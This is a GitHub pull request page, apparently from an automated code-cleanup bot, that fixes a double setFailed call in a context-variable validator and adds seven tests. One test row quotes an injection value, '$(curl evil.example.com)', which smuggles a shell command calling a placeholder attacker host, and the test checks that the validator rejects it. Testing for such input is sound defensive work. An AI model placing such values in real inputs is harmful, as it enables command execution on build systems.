Skip to content

[jsweep] Clean validate_context_variables.cjs#38785

Draft
github-actions[bot] wants to merge 1 commit into
mainfrom
signed/jsweep/validate-context-variables-78a17fb6b0aa7ebe
Draft

[jsweep] Clean validate_context_variables.cjs#38785
github-actions[bot] wants to merge 1 commit into
mainfrom
signed/jsweep/validate-context-variables-78a17fb6b0aa7ebe

Conversation

@github-actions

Copy link
Copy Markdown
Contributor

Summary

Cleans actions/setup/js/validate_context_variables.cjs by removing a redundant try/catch that caused core.setFailed to be called twice on validation failure.

Context Type

This file runs in github-script context — it uses core.info(), core.error(), core.setFailed() and receives context as a global.

Changes Made

Bug Fix: Double setFailed call removed

The old validateContextVariables wrapped all logic in a try/catch where:

  1. On validation failure: setFailed(detailedMessage) called, then throw new Error(detailedMessage)
  2. The catch intercepted that throw and called setFailed(ERR_VALIDATION + ": Context variable validation failed: " + detailedMessage)overwriting the first call

The final error seen by GitHub Actions was ERR_VALIDATION: Context variable validation failed: Context variable validation failed!\n\nFound... — the phrase "Context variable validation failed" appeared twice.

After cleanup

  • Removed the try/catch entirely (the only throws were the expected validation-failure path)
  • ERR_VALIDATION prefix is now included directly in the single setFailed call
  • Extracted failureDetails variable for clarity in error message construction
  • Removed unused getErrorMessage import from error_helpers.cjs

Test Improvements

7 new tests added (36 → 43 total):

Test What it verifies
ERR_VALIDATION prefix in setFailed Error message includes the code prefix
Single setFailed call setFailed called exactly once (not twice)
Empty context → 0 validated Count message shows 0 when no known fields
Correct count reporting Info message shows exact count of checked fields
Multiple failures in one call All failures reported in single error
run_id / run_number validation Top-level context fields are checked
run_id injection rejection $(curl evil.example.com) blocked

Validation Checks ✅

  • Formatting: npm run format:cjs
  • Linting: npm run lint:cjs
  • Type checking: npm run typecheck ✓ (file already had @ts-check)
  • Tests: npm run test:js ✓ — 43/43 tests pass

Generated by 🧹 jsweep - JavaScript Unbloater · 456.8 AIC · ⌖ 30.3 AIC · ⊞ 18.7K ·

  • expires on Jun 13, 2026, 9:22 PM UTC-08:00

- Remove unnecessary try/catch that caused setFailed to be called twice
  on validation failure (first with detailed message, then in catch with
  ERR_VALIDATION prefix, producing 'Context variable validation failed:
- Include ERR_VALIDATION prefix directly in the single setFailed call
- Extract failureDetails variable for clarity in error message construction
- Remove unused getErrorMessage import from error_helpers.cjs
- Add 7 new tests covering: ERR_VALIDATION prefix in error message,
  single setFailed call assertion, empty context (0 fields checked),
  correct validated count reporting, multiple simultaneous failures,
  run_id/run_number top-level validation, and run_id injection rejection

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants